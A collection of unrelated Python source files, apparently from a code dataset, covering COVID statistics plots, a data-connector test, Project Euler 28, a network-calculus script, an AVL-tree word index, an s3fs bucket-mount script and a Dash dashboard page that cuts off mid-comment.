booster"], ["decessi non vaccinati", "decessi vaccinati completo", "decessi booster"]] for i, evento in enumerate(eventi): df_epid[evento].plot(ax=axes[i]) axes[i].set_title(titoli[i] + " (media 30 gg)") which_axe(axes[i]) # Add watermarks add_watermark(fig) add_last_updated(fig, axes[-1]) fig.tight_layout() fig.savefig("../risultati/andamento_epidemia_num_assoluti.png", dpi=300, bbox_inches="tight") if show: plt.show() @mpl.rc_context({"legend.handlelength": 1.0, "axes.prop_cycle": mpl.cycler(color=colori_incidenza)}) def plot_riassunto(show=False, is_std=False): """ Plot figura riassuntiva incidenze/numeri assoluti""" fig, ax = plt.subplots(nrows=2, ncols=3, figsize=(12, 8)) # Unpack all the axes subplots axes = ax.ravel() # plot incidenze y_label = "Ogni 100.000 persone per ciascun gruppo" titoli = ["degli ospedalizzati", "dei ricoverati in TI", "dei deceduti"] eventi = [["Ospedalizzati, non vaccinati", "Ospedalizzati, vaccinati completo", "Ospedalizzati, booster"], ["In terapia intensiva, non vaccinati", "In terapia intensiva, vaccinati completo", "In terapia intensiva, booster"], ["Deceduti, non vaccinati", "Deceduti, vaccinati completo", "Deceduti, booster"]] for i, evento in enumerate(eventi): (df_tassi_std[evento] if is_std else df_tassi[evento]).plot(ax=axes[i]) axes[i].set_title("Incidenza mensile " + titoli[i]) axes[i].set_ylabel(y_label) which_axe(axes[i]) # plot numeri assoluti titoli = ["Nuovi ospedalizzati giornalieri", "Nuovi ricoverati in TI", "Decessi giornalieri"] eventi = [["ospedalizzati non vaccinati", "ospedalizzati vaccinati completo", "ospedalizzati booster"], ["terapia intensiva non vaccinati", "terapia intensiva vaccinati completo", "terapia intensiva booster"], ["decessi non vaccinati", "decessi vaccinati completo", "decessi booster"]] for i, evento in enumerate(eventi): df_epid[evento].plot(ax=axes[i+3]) axes[i+3].set_title(titoli[i] + " (media 30 gg)") which_axe(axes[i+3]) fig.tight_layout() # Add watermarks add_watermark(fig) add_last_updated(fig, axes[-1]) f_suff = "_std" if is_std else "" fig.savefig(f"../risultati/andamento_epidemia_riassunto{f_suff}.png", dpi=300, bbox_inches="tight") if show: plt.show() @mpl.rc_context({"lines.marker": None}) def plot_rapporto_tassi(show=False, is_std=False): """ Rapporto fra tassi """ fig, ax = plt.subplots(figsize=(6, 5)) tassi = df_tassi_std if is_std else df_tassi (tassi["Casi, non vaccinati"]/tassi["Casi, vaccinati completo"]).plot(label="Nuovi casi") (tassi["Ospedalizzati, non vaccinati"]/tassi["Ospedalizzati, vaccinati completo"]).plot(label="Ospedalizzazione") (tassi["In terapia intensiva, non vaccinati"]/tassi["In terapia intensiva, vaccinati completo"]).plot(label="Ricovero in TI") (tassi["Deceduti, non vaccinati"]/tassi["Deceduti, vaccinati completo"]).plot(label="Decesso") ax.xaxis.reset_ticks() ax.set_xticks(x_ticks) ax.set_xticklabels(x_labels) ax.set_title("Rapporto fra le incidenze") ax.set_ylabel("Non vaccinati/vaccinati") ax.set_xlabel("") ax.grid() ax.legend() fig.tight_layout() # Add watermarks add_watermark(fig) add_last_updated(fig, ax, y=-0.030) f_suff = "_std" if is_std else "" fig.savefig(f"../risultati/rapporto_tra_tassi{f_suff}.png", dpi=300, bbox_inches="tight") if show: plt.show() if __name__ == "__main__": # Set work directory for the script scriptpath = path.dirname(path.realpath(__file__)) chdir(scriptpath) # Set locale to "it" to parse the month correctly locale.setlocale(locale.LC_ALL, "it_IT.UTF-8") # Imposta stile grafici apply_plot_treatment() df_tassi, df_tassi_std, df_epid = load_data() x_ticks, x_labels = get_xticks_labels(reports_dates=df_epid.index) plot_incidenza() plot_incidenza(is_std=True) plot_rapporto_tassi() plot_rapporto_tassi(is_std=True) plot_num_assoluti() plot_riassunto() plot_riassunto(is_std=True)
python
""" Created on 17 Dec 2020 @author: si """ import os import tempfile import unittest import ayeaye from ayeaye.connectors.ndjson_connector import NdjsonConnector PROJECT_TEST_PATH = os.path.dirname(os.path.abspath(__file__)) EXAMPLE_NDJSON_UK_PUBS = os.path.join(PROJECT_TEST_PATH, "data", "uk_pubs.ndjson") class TestNdjsonConnector(unittest.TestCase): def test_iterate_over_json_lines(self): c = NdjsonConnector(engine_url="ndjson://" + EXAMPLE_NDJSON_UK_PUBS) uk_pubs_names = [pub.name for pub in c] expected = "The New Flying Horse" # just check one expected value has been found self.assertIn(expected, uk_pubs_names) def test_ndjson_write(self): """ Write to a file without using a schema. """ data_dir = tempfile.mkdtemp() ndjson_file = os.path.join(data_dir, "frog_fish.ndjson") c = NdjsonConnector(engine_url="ndjson://" + ndjson_file, access=ayeaye.AccessMode.WRITE) for common_name in ["Warty frogfish", "Hairy Frogfish"]: p = ayeaye.Pinnate({"common_name": common_name}) c.add(p) c.close_connection() # flush to disk with open(ndjson_file, "r", encoding=c.encoding) as f: file_content = f.read() expected_content = '{"common_name": "Warty frogfish"}\n' '{"common_name": "Hairy Frogfish"}\n' self.assertEqual(expected_content, file_content)
python
"""Helper module for linking existing BIBFRAME resources to external data sources like Library of Congress, DBPedia, VIAF, and others.""" __author__ = "Jeremy Nelson, Mike Stabile" import os import rdflib import sys BIBCAT_BASE = os.path.abspath( os.path.split( os.path.dirname(__file__))[0]) class Linker(object): """Base Linker class for all other linker classes""" def __init__(self, **kwargs): self.triplestore_url = kwargs.get( "triplestore_url", "http://localhost:9999/blazegraph/sparql") def run(self): pass class LinkerError(Exception): """Custom Error for Linker Classes""" def __init__(self, value, details): self.value = value self.details = details def __str__(self): return repr(self.value)
python
""" # PROBLEM 28 Starting with the number 1 and moving to the right in a clockwise direction a 5 by 5 spiral is formed as follows: 21 22 23 24 25 20 7 8 9 10 19 6 1 2 11 18 5 4 3 12 17 16 15 14 13 It can be verified that the sum of the numbers on the diagonals is 101. What is the sum of the numbers on the diagonals in a 1001 by 1001 spiral formed in the same way? """ # There's a predictable pattern in the perimeter def get_perimeter(n): return 4 * (n - 1) # simplified for of 4 * n - 4 # But what's best is if we can get the perimeter for arbitrary layer def get_perimeter_for_layer(layer): layer_size = 2 * layer + 1 return get_perimeter(layer_size), layer_size # I feel like the problem isn't hard, it's just begging for 1001 compounded off by one errors :'( # Let's make sure I can get the right answer in a trivial case? (i.e. one I already know the # answer to) def calculate_diagonal_sum(max_layer_size): layer = 0 _, layer_size = get_perimeter_for_layer(layer) place = 1 diagonals = [place] while layer_size < max_layer_size: layer += 1 perimeter, layer_size = get_perimeter_for_layer(layer) diagonal_positions = [perimeter/4, perimeter/2, 3 * perimeter / 4, perimeter] for position, number in enumerate(range(place + 1, place + 1 + perimeter)): if position + 1 in diagonal_positions: diagonals.append(number) place = number # despite what my IDE thinks, number isn't scoped to the loop! return sum(diagonals) print(calculate_diagonal_sum(3)) # 25 print(calculate_diagonal_sum(5)) # 101! print('Final:', calculate_diagonal_sum(1001))
python
"""Compute performance standard_bound and write into csv file""" from typing import List import pandas as pd from bound_evaluation.data_frame_to_csv import perform_param_list_to_csv from nc_arrivals.arrival_distribution import ArrivalDistribution from nc_arrivals.iid import DM1, MD1 from nc_arrivals.markov_modulated import MMOOCont from nc_operations.perform_enum import PerformEnum from nc_server.constant_rate_server import ConstantRateServer from optimization.opt_method import OptMethod from optimization.optimize import Optimize from utils.perform_param_list import PerformParamList from h_mitigator.optimize_mitigator import OptimizeMitigator from h_mitigator.single_server_mit_perform import SingleServerMitPerform # import sys # import os # Necessary to make it executable in terminal # sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), # os.pardir)) def single_server_df(arr_list: List[ArrivalDistribution], ser_list: List[ConstantRateServer], opt_method: OptMethod, perform_param_list: PerformParamList) -> pd.DataFrame: """ Compute output standard_bound for T in T_list and write into dataframe Args: arr_list: Arrival object list ser_list: Service object list opt_method: method name as string, GS or PS perform_param_list: list of performance parameter values Returns: dataframe """ standard_bound = [0.0] * len(perform_param_list) new_bound = [0.0] * len(perform_param_list) for _i in range(len(perform_param_list)): setting = SingleServerMitPerform( arr_list=arr_list, server=ser_list[0], perform_param=perform_param_list.get_parameter_at_i(_i)) if opt_method == OptMethod.GRID_SEARCH: standard_bound[_i] = Optimize(setting=setting, number_param=1).grid_search( grid_bounds=[(0.1, 4.0)], delta=0.1).obj_value new_bound[_i] = OptimizeMitigator(setting_h_mit=setting, number_param=2).grid_search( grid_bounds=[(0.1, 4.0), (0.9, 8.0)], delta=0.05).obj_value elif opt_method == OptMethod.PATTERN_SEARCH: standard_bound[_i] = Optimize(setting=setting, number_param=1).pattern_search( start_list=[0.5], delta=3.0, delta_min=0.01).obj_value new_bound[_i] = OptimizeMitigator(setting_h_mit=setting, number_param=2).pattern_search( start_list=[0.5, 2.0], delta=3.0, delta_min=0.01).obj_value else: raise NotImplementedError( f"Optimization parameter {opt_method} is infeasible") delay_bounds_df = pd.DataFrame( { "standard_bound": standard_bound, "h_mit_bound": new_bound }, index=perform_param_list.values_list) return delay_bounds_df if __name__ == '__main__': OUTPUT_LIST = PerformParamList(perform_metric=PerformEnum.OUTPUT, values_list=list(range(4, 15))) print( perform_param_list_to_csv(prefix="single_", data_frame_creator=single_server_df, arr_list=[DM1(lamb=3.8, m=1)], ser_list=[ConstantRateServer(rate=3.0)], perform_param_list=OUTPUT_LIST, opt_method=OptMethod.GRID_SEARCH)) print( perform_param_list_to_csv( prefix="single_", data_frame_creator=single_server_df, arr_list=[MMOOCont(mu=8.0, lamb=12.0, peak_rate=3.0, m=1)], ser_list=[ConstantRateServer(rate=1.5)], perform_param_list=OUTPUT_LIST, opt_method=OptMethod.GRID_SEARCH)) RATE_1 = ConstantRateServer(rate=1.0) print( perform_param_list_to_csv(prefix="single_", data_frame_creator=single_server_df, arr_list=[MD1(lamb=0.5, mu=1.0)], ser_list=[RATE_1], perform_param_list=OUTPUT_LIST, opt_method=OptMethod.GRID_SEARCH))
python
# v3 - Melhoramentos: Retirei "in" em "x in array"; implementei pesquisa binaria; print_array; etc. # v3 Abordagem Ate as folhas, depois de Baixo-para-Cima, Recursiva # pai.direcao = return no filho da recursividade # #### BIBLIOTECAS #### import sys # #### CONSTANTES #### CMD_IN_LINHAS = "LINHAS" CMD_OUT_NULO = "-1" CMD_IN_ASSOC = "ASSOC" CMD_OUT_NAOENCONTRADA = "NAO ENCONTRADA." CMD_OUT_ENCONTRADA = "ENCONTRADA." CMD_IN_TERMINADO = "TCHAU\n" CMD_IN_TERMINADO2 = "TCHAU" CMD_IN_TEXTO = "TEXTO\n" CMD_IN_FIM = "FIM.\n" CMD_OUT_GUARDADO = "GUARDADO." # #### FUNCOES #### class Elemento: def __init__(self, input_palavra, input_ocorrencias): self.palavra = input_palavra self.ocorrencias = [] self.ocorrencias.append(input_ocorrencias) def add_ocorrencia(self, count): if not count == self.ocorrencias[-1]: self.ocorrencias.append(count) class No: def __init__(self, input_elemento=None, input_esquerda=None, input_direita=None): self.elemento = input_elemento self.esquerda = input_esquerda self.direita = input_direita self.altura = 1 class ArvoreAVL: def __init__(self, input_raiz=None): self.raiz = input_raiz def rotacao_esq(self, input_no_k1): # Faz rotacao simples com filho k2 a direita, E <- D # ### FUNCAO ### Rotacao Simples Esquerda (Direcao <-) no_k2 = input_no_k1.direita no_k3 = no_k2.esquerda no_k2.esquerda = input_no_k1 input_no_k1.direita = no_k3 input_no_k1.altura = 1 + max(self.get_altura(input_no_k1.esquerda), self.get_altura(input_no_k1.direita)) # Cumprir ordem para obter altura coerente no_k2.altura = 1 + max(self.get_altura(no_k2.esquerda), self.get_altura(no_k2.direita)) # Altura anterior + 1 (para incluir o no atual) return no_k2 # Nova raiz da sub-arvore def rotacao_dir(self, input_no_k1): # Faz rotacao simples com filho k2 a esquerda, E -> D # ### FUNCAO ### Rotacao Simples Direita ( Direcao ->) no_k2 = input_no_k1.esquerda no_k3 = no_k2.direita no_k2.direita = input_no_k1 input_no_k1.esquerda = no_k3 input_no_k1.altura = 1 + max(self.get_altura(input_no_k1.esquerda), self.get_altura(input_no_k1.direita)) no_k2.altura = 1 + max(self.get_altura(no_k2.esquerda), self.get_altura(no_k2.direita)) return no_k2 def rotacao_esq_dir(self, input_no_k1): # Faz rotacao com filho k2 a direita | Faz rotacao com filho k2 a esquerda ? # ### FUNCAO ### Rotacao Dupla Esquerda-Direita ( Direcao <- e ->) input_no_k1.esquerda = self.rotacao_esq(input_no_k1.esquerda) return self.rotacao_dir(input_no_k1) def rotacao_dir_esq(self, input_no_k1): # Faz rotacao com filho k2 a esquerda | Faz rotacao com filho k2 a direita ? # ### FUNCAO ### Rotacao Dupla Direita-Esquerda ( Direcao -> e <-) input_no_k1.direita = self.rotacao_dir(input_no_k1.direita) return self.rotacao_esq(input_no_k1) def procura_palavra(self, input_palavra): # ### FUNCAO ### Procura Palavra na Arvore e return esse elemento, se nao existe retorna: None no = self.raiz while no is not None: if compara_str(input_palavra, no.elemento.palavra) == 0: return no.elemento elif compara_str(input_palavra, no.elemento.palavra) == 1: no = no.direita else: no = no.esquerda return None def inserir_elemento(self, input_raiz, input_elemento): # input_raiz -> raiz ou no da sub-arvore # ### FUNCAO ### Inserir Elementos na Arvore AVP, recursivamente, ate chegar as folhas nulas, inserindo-o if input_raiz is None: # Insere o elemento novo_no = No(input_elemento) return novo_no elif compara_str(input_raiz.elemento.palavra, input_elemento.palavra) == 1: # Se a str 1 (no da arvore) e maior input_raiz.esquerda = self.inserir_elemento(input_raiz.esquerda, input_elemento) else: # Se a str 2 (novo no) e maior input_raiz.direita = self.inserir_elemento(input_raiz.direita, input_elemento) input_raiz.altura = 1 + max(self.get_altura(input_raiz.esquerda), self.get_altura(input_raiz.direita)) # Altura anterior + 1 (para incluir o no atual) # ----------------------- Verificar Equilibrio, fazer rotacoes para corrigir ---------------------- equilibrio = self.get_equilibrio(input_raiz) if equilibrio > 1: # Lado Esquerdo MAIOR que o Direito (na sub-arvore do no atual: input_raiz) if compara_str(input_raiz.esquerda.elemento.palavra, input_elemento.palavra) == 1: # str 1 (Palavra no->esquerdo) MAIOR que str 2 (Palavra nova inserida) # Se Caminho entre Avo-Pai-Filho -> Esq-Esq return self.rotacao_dir(input_raiz) else: # str 2 (Palavra nova inserida) MAIOR que str 1 (Palavra no->esquerdo) # Se Caminho entre Avo-Pai-Filho -> Esq-Dir return self.rotacao_esq_dir(input_raiz) if equilibrio < -1: # Lado Direito MAIOR que o Esquerdo (na sub-arvore do no atual: input_raiz) if compara_str(input_raiz.direita.elemento.palavra, input_elemento.palavra) == 2: # str 1 (Palavra no->esquerdo) MAIOR que str 2 (Palavra nova inserida) # Se Caminho entre Avo-Pai-Filho -> Dir-Dir return self.rotacao_esq(input_raiz) else: # str 2 (Palavra nova inserida) MAIOR que str 1 (Palavra no->esquerdo) # Se Caminho entre Avo-Pai-Filho -> Dir-Esq return self.rotacao_dir_esq(input_raiz) return input_raiz # Sem rotacoes def get_altura(self, input_no): # ### FUNCAO ### Get Altura guardado no atributo do no, ou 0 se o no e nulo if input_no is None: return 0 return input_no.altura def get_equilibrio(self, input_no): # ### FUNCAO ### Get Equilibrio atraves da altura guardado no atributo do no, ou 0 se o no e nulo if input_no is None: return 0 return self.get_altura(input_no.esquerda) - self.get_altura(input_no.direita) # Equilibrio da sub-arvore def compara_str(str1, str2): # ### FUNCAO ### str1 maior: return 1, str2 maior: return 2, iguais: return 0 if str1 > str2: # Str1 Maior return 1 elif str1 < str2: # Str2 Maior return 2 else: # Iguais return 0 def input_texto(arvore_avl): # ### FUNCAO ### Le e manipula o texto do stdin ate CMD_IN_FIM count = 0 for linha in sys.stdin: if count == 0 and linha == "": sys.exit("Erro - Sem Texto para input") if linha == CMD_IN_FIM: break palavra = "" for ch in linha: if ch == '\n': if len(palavra) > 0: palavra = palavra.lower() elemento = arvore_avl.procura_palavra(palavra) if elemento is not None: elemento.add_ocorrencia(count) else: elemento = Elemento(palavra, count) arvore_avl.raiz = arvore_avl.inserir_elemento(arvore_avl.raiz, elemento) palavra = "" elif ch == ' ' or ch == '.' or ch == ',' or ch == ';' or ch == '(' or ch == ')': if len(palavra) > 0: palavra = palavra.lower() elemento = arvore_avl.procura_palavra(palavra) if elemento is not None: elemento.add_ocorrencia(count) else: elemento = Elemento(palavra, count) arvore_avl.raiz = arvore_avl.inserir_elemento(arvore_avl.raiz, elemento) elemento = arvore_avl.procura_palavra(ch) if elemento is not None: elemento.add_ocorrencia(count) else: elemento = Elemento(ch, count) arvore_avl.raiz = arvore_avl.inserir_elemento(arvore_avl.raiz, elemento) palavra = "" else: palavra = palavra + ch count += 1 print(CMD_OUT_GUARDADO) return 0 def input_cmd(arvore_avl): # ### FUNCAO ### Le, executa e escreve no stdout os comandos no stdin, ate CMD_IN_TERMINADO for linha in sys.stdin: if linha == CMD_IN_TERMINADO2: break elif linha == CMD_IN_TERMINADO: break elif linha == "": break elif (CMD_IN_LINHAS in linha) and (linha.index(CMD_IN_LINHAS) == 0): palavra = linha[len(CMD_IN_LINHAS)+1:len(linha)-1] palavra = palavra.lower() elemento = arvore_avl.procura_palavra(palavra) if elemento is not None: print(print_array(elemento.ocorrencias)) else: print(CMD_OUT_NULO) elif (CMD_IN_ASSOC in linha) and (linha.index(CMD_IN_ASSOC) == 0): palavras = linha.split(' ') palavras[2] = (palavras[2])[:len(palavras[2])-1] palavras[1] = palavras[1].lower() elemento = arvore_avl.procura_palavra(palavras[1]) if elemento is not None: if not (pesquisa_binaria(elemento.ocorrencias, int(palavras[2])) == -1): print(CMD_OUT_ENCONTRADA) else: print(CMD_OUT_NAOENCONTRADA) else: print(CMD_OUT_NAOENCONTRADA) else: sys.exit("Erro - Interpretacao dos comandos pos-texto") return 0 def pesquisa_binaria(array, valor): # ### FUNCAO ### Pesquisa Binaria Classica num Array/Lista, input array e valor, return indice ou -1 se nao existir inicio = 0 fim = len(array)-1 if fim == -1: return -1 while inicio <= fim: meio = inicio + (fim - inicio) // 2 # Divisao Real, Arredonda para baixo if array[meio] == valor: # Valor esta no meio return meio elif array[meio] < valor: # Se valor e maior que o meio, ignora metade inferior inicio = meio + 1 else: # Se for menor que o meio, ignora metade superior fim = meio - 1 return -1 # Nao existe def print_array(array): # ### FUNCAO ### Transforma os dados num array numa string com espacos string = "" for num in array: string = string + " " + str(num) return string[1:] def main(): # ### FUNCAO ### Funcao Principal arvore_avl = ArvoreAVL() if sys.stdin.readline() == CMD_IN_TEXTO: input_texto(arvore_avl) else: sys.exit("Erro - Sem Comando Incial: " + CMD_IN_TEXTO) input_cmd(arvore_avl) return 0 if __name__ == '__main__': # ### START ### main()
python
import logging import pathlib import shlex import subprocess import time import argh logging.basicConfig( level=logging.DEBUG, format="%(asctime)s.%(msecs)03d %(levelname)s %(module)s - %(funcName)s: %(message)s", datefmt="%Y-%m-%d %H:%M:%S", ) def is_path_mounted(path): mount_out = subprocess.check_output("mount").decode().split() return str(path) in mount_out def go( bucket_names="dJEoQNYTEzUXmvtfxFjORAdvrSpvFJum,kcdwRhBRFHIrgeMQnriVpEmeoOgSPrcn,jLyCUEpKBxrixFQRyaxhPwhtMpKqpXjP,GUEOIpiGjcpDArjtCixNdsnvAItKbYaH,moALuXyROLzIGcShSsJWIowMQPVcVlTU", bucket_mount_path="/data/inputs/s3/", s3fs_creds_file="/home/ubuntu/.passwd-s3fs-oracle-test", oracle_url="https://lrbvkel2wjot.compat.objectstorage.uk-london-1.oraclecloud.com", user_uid="1001", user_gid="1001", ): bucket_names = bucket_names.split(",") bucket_mount_path = pathlib.Path(bucket_mount_path) logging.warning("here we go!!") for bucket_name in bucket_names: bucket_name = bucket_name.strip() bucket_path = bucket_mount_path / bucket_name if is_path_mounted(bucket_path): logging.info(f"path {bucket_path} already mounted") continue logging.info(f"Bucket {bucket_name} to be mounted in {bucket_path}") bucket_path.mkdir(exist_ok=True) mount_cmd = f"s3fs {bucket_name} {bucket_path} -o passwd_file={s3fs_creds_file} -o url={oracle_url} -o use_path_request_style -o uid={user_uid},gid={user_gid}" logging.info(f"s3fs cmd: {mount_cmd}") try: subprocess.check_output(shlex.split(mount_cmd)) except subprocess.CalledProcessError: logging.error(f"Couldn't mount bucket {bucket_name}") if is_path_mounted(bucket_path): logging.info("success") else: logging.error(f"s3fs silently failed on path {bucket_path}. Are you sure this is correct?") if __name__ == "__main__": argh.dispatch_commands([go])
python
# Page ID: C # The 3rd tab on the menu import dash_core_components as dcc import dash_html_components as html import plotly.graph_objs as go from utils import Header, make_dash_table import pandas as pd import pathlib def create_layout(app, region, region_code, view_style): ########################################################################################################## pageID = 5 # get relative data folder PATH = pathlib.Path(__file__).parent DATA_PATH = PATH.joinpath("../prefetched/" + str(region_code)).resolve() # TO-DO: # Function ID: F-C-01 # So, basically data is pre-cached to add proper column names and such. # A separated package needs to add on top of this to pull data from the # database. This also gives the ground for us if the database is broken # for whatever reason? df_Language = pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[0, 52, 53, 54]) df_Family = pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[0, 57, 58, 59, 60]) # Extract the fiscal year # This block of code is re-usable. But can't be fucked to .... Umm, what you call it, make into a module df_fiscal_year = pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[0]) max_length = len(df_fiscal_year) # the max out index for the column # Starting index set to 1 instead of 0, since we want to remove the header name of the column. fiscal_year = [int(item[0]) for item in df_fiscal_year.values[1:max_length]] ########################################################################################################## return html.Div( [ Header(app, region, view_style, pageID), # page 3 html.Div( [ # Row 1 html.Div( [ # TO-DO: # Box ID: T-C-01 # Not sure what we want here, maybe we need some more detailed stuff? # Maybe some disclaimer stuff? Since it is a part of the demographic # data, so I am not sure in this case. # html.H6([html.Strong("Introduction")], className="subtitle padded"), html.Strong( # TO-DO: # Box ID: T-C-02 # I am not sure what is the best way to describe the data here. # The description on the quick data report page doesn't make # too much sense to me. "\ This report recognizes that there may be special needs in populations where English \ is not the first language and includes information about households that are limited \ English speaking. It is important to note that low income and linguistic isolation \ are only two factors for families that may put children at risk of academic failure, \ and this report does not provide data about other factors.", style={"color": "#000000"}, className="row", ), ], ), # Row 2 html.Div( [ html.Div( [ html.H6( [html.Strong("Household Language at "+ region)], className="subtitle padded" ), # TO-DO: # Table ID: B-C-01 # Cuz I am a lazy fuck want something real fast to be done. # Sooooo, I didn't use the plotly's dash make table. # Instead, I use the html.Table. # Pros: 1. Shit is lightening ass fast to render, instant, period. # This is way faster than needing the dash and plotly package # to run in the background. There are a couple milliseconds' # delay. # 2. Lazy, can't go wrong or trigger error. # It is just pouring an Excel file there, what could go wrong? # Maybe you forgot to import the file? # Cons: 1. No style, period. # Well, plotly is funny, you'd assume that the html based style # tags will work right? Hecc, no! # 2. No sorting and other fancy operations. # You, just can't... It is as miserable as our life in 2020... # 3. Isn't that enough cons? html.Table( make_dash_table(df_Language), # So for the fuck sake, text align and filled color doesn't work. # Guess we can only change .css? # style={ # # "background-color": "#ffffff", # } ), # html.P("**** refers to the variable wasn't sampled at the given time."), ], # Currently still using 6 columns, even though it can be less. :/ className="six columns", ), # Plot ID: P-C-01 # This one is for the language, well, more like for Spanish. # Now, let's add a graph to it! html.Div( [ html.Br([]), html.Strong( "Number of Household Speaking Spanish", style={"color": "#3a3a3a", # For the padding, you can have reference from: # https://community.plotly.com/t/center-alignment-for-html-div-dcc-slider/12337/5 # The percentage requires some serious maneuvering. :) "padding-left": "25%"}, ), html.Br([]), html.Strong( "and Other Languages", style={"color": "#3a3a3a", # For the padding, you can have reference from: # https://community.plotly.com/t/center-alignment-for-html-div-dcc-slider/12337/5 # The percentage requires some serious maneuvering. :) "padding-left": "41%"}, ), dcc.Graph( # The title of the plot is in the block above, scroll back up! id="graph-B1", figure={ "data": [ go.Bar( x=fiscal_year, # This shit is hard coded to hell y=[int(item[0]) for item in pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[53]).values[1:max_length]], #line={"color": "#97151c"}, #mode="markers+lines", marker=dict(color='#03fcba'), #set color bar to Gold name="Spanish", ), go.Bar( x=fiscal_year, y=[int(item[0]) for item in pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[54]).values[1:max_length]], #line={"color": "#30151c"}, marker=dict(color='#8732db'), #Set colobar to silver #mode="markers+lines", name="Other Languages", ) ], # For the layout configuration, please see: # https://plotly.com/python/line-and-scatter/ # Good luck? "layout": go.Layout( autosize=True, title="", font={"family": "Raleway", "size": 10}, height=200, width=360, hovermode="closest", legend={ # Modified the x value so that it can be shifted to the center. # Default is to "xanchor" to the left. Which gives the best position. # However, it is yet to be the center of the plot. # Plotly's legend system is pretty fucked as we speak today. # The official documentation is rubbish, go see here: # https://stackoverflow.com/questions/60123611/how-to-position-legends-inside-a-plot-in-plotly # and also: # https://github.com/plotly/plotly.js/issues/53 # https://stackoverflow.com/questions/41599166/python-plotly-legend-positioning-and-formatting "x": 0.2377108433735, "y": -0.142606516291, "orientation": "h", # "xanchor": "left", # Can be center and right # "yanchor": "top", # Can be bottom and center if you fancy }, margin={ "r": 20, "t": 20, "b": 20, "l": 50, }, showlegend=True, xaxis={ "autorange": True, "linecolor": "rgb(0, 0, 0)", "linewidth": 1, # It is -2 here cuz there is a stupid header row # Otherwise it should be -1 since the index starts with 0 # Therefore, don't waste 10 minutes like me trying to figure # this shit out... "range": [fiscal_year[0], fiscal_year[max_length - 2]], "showgrid": False, "showline": True, # I mean. Everyone knows it is year. # "title": "Fiscal Year", "type": "linear", }, yaxis={ "autorange": True, "gridcolor": "rgba(127, 127, 127, 0.2)", "mirror": False, # The following controls how many side legends you want. "nticks": 10, # TO-DO: # Function ID: F-C-02 # As for now, the range is hard coded since I can't be fucked. # So, sorry, let's just use this thing for now! # In the future, the range should be calculated accordingly. #"range": [500, 3000], "showgrid": True, "showline": True, "ticklen": 10, "ticks": "outside", "title": "Children", "type": "linear", "zeroline": False, "zerolinewidth": 4, }, ), }, # Please leave it as disabled, otherwise when you export, # there will be an ugly-ass bar on top of the graph. config={"displayModeBar": False}, ), ], # Currently still using 6 columns, even though it can be less. :/ className="six columns", ), # html.Div( # [ # html.P( # "Calibre Index Fund seeks to track the performance of\ # a benchmark index that measures the investment return of large-capitalization stocks." # ), # html.P( # "Learn more about this portfolio's investment strategy and policy." # ), # ], # className="eight columns middle-aligned", # style={"color": "#696969"}, # ), ], className="row ", ), # Row 3 html.Br([]), html.Div( [ html.Div( [ html.H6( [html.Strong("Working Families at "+ region)], className="subtitle padded", ), html.Table( # TO-DO: # Table ID: B-C-02 # So right now, as in B-C-01, we are sill doing the base html table drawing. # Therefore, in the future, make it better! make_dash_table(df_Family), className="tiny-header", ), ], className="six columns", ), # TO-DO: # Plot ID: P-C-02 # This one is for the working family thing. But to be honest, I don't think either line or # bar plots are the correct thing to do. Honestly, what I have in mind is something like # for circles, aka, using the plotly.shape thing. For more information, go visit here : # https://plotly.com/python/shapes/ # Since I am an imbecile, I don't wanna crash the existing layout. So after the first # stable release, I'd go figure this out again in later on? html.Div( [ html.Br([]), html.Strong( "Children by Working Family Condition", style={"color": "#3a3a3a", # For the padding, you can have reference from: # https://community.plotly.com/t/center-alignment-for-html-div-dcc-slider/12337/5 # The percentage requires some serious maneuvering. :) "padding-left": "25%"}, ), dcc.Graph( # The title of the plot is in the block above, scroll back up! id="graph-B1", figure={ "data": [ go.Scatter( x=fiscal_year, # This shit is hard coded to hell y=[int(item[0]) for item in pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[57]).values[1:max_length]], line={"color": "#97151c"}, mode="markers+lines", name="2 Parents", ), go.Scatter( x=fiscal_year, y=[int(item[0]) for item in pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[58]).values[1:max_length]], line={"color": "#30151c"}, mode="markers+lines", name="2 Working Parents", ), go.Scatter( x=fiscal_year, y=[int(item[0]) for item in pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[59]).values[1:max_length]], line={"color": "#2972b1"}, mode="markers+lines", name="1 Parent", ), go.Scatter( x=fiscal_year, y=[int(item[0]) for item in pd.read_csv(DATA_PATH.joinpath(str(region_code) + "_DemoLib.csv"), usecols=[60]).values[1:max_length]], line={"color": "#617749"}, # The color codes are coming out of my ass. # Go figure out some newer/better ones if needed. mode="markers+lines", name="1 Working Parent", ), ], # For the layout configuration, please see: # https://plotly.com/python/line-and-scatter/ # Good luck? "layout": go.Layout( autosize=True, title="", font={"family": "Raleway", "size": 10}, height=200, width=360, hovermode="closest", legend={ # Modified the x value so that it can be shifted to the center. # Default is to "xanchor" to the left. Which gives the best position. # However, it is yet to be the center of the plot. # Plotly's legend system is pretty fucked as we speak today. # The official documentation is rubbish, go see here: # https://stackoverflow.com/questions/60123611/how-to-position-legends-inside-a-plot-in-plotly # and also: # https://github.com/plotly/plotly.js/issues/53 # https://stackoverflow.com/questions/41599166/python-plotly-legend-positioning-and-formatting # But I *REALLY* hate this thing lol "x": 0.0877108433735, "y": -0.142606516291, "orientation": "h", # "xanchor": "left", # Can be center and right # "yanchor": "top", # Can be bottom and center if you fancy }, margin={ "r": 20, "t": 20, "b": 20, "l": 50, }, showlegend=True, xaxis={ "autorange": True, "linecolor": "rgb(0, 0, 0)", "linewidth": 1, # It is -2 here cuz there is a stupid header row # Otherwise it should be -1 since the index starts with 0 # Therefore, don't waste 10 minutes like me trying to figure # this shit out... "range": [fiscal_year[0], fiscal_year[max_length - 2]], "showgrid": False, "showline": True, # I mean. Everyone knows it is year. # "title": "Fiscal Year", "type": "linear", }, yaxis={ "autorange": True, "gridcolor": "rgba(127, 127, 127, 0.2)", "mirror": False, # The following controls how many side legends you want. "nticks": 10, # TO-DO: # Function ID: F-C-03 # As for now, the range is hard coded since I can't be 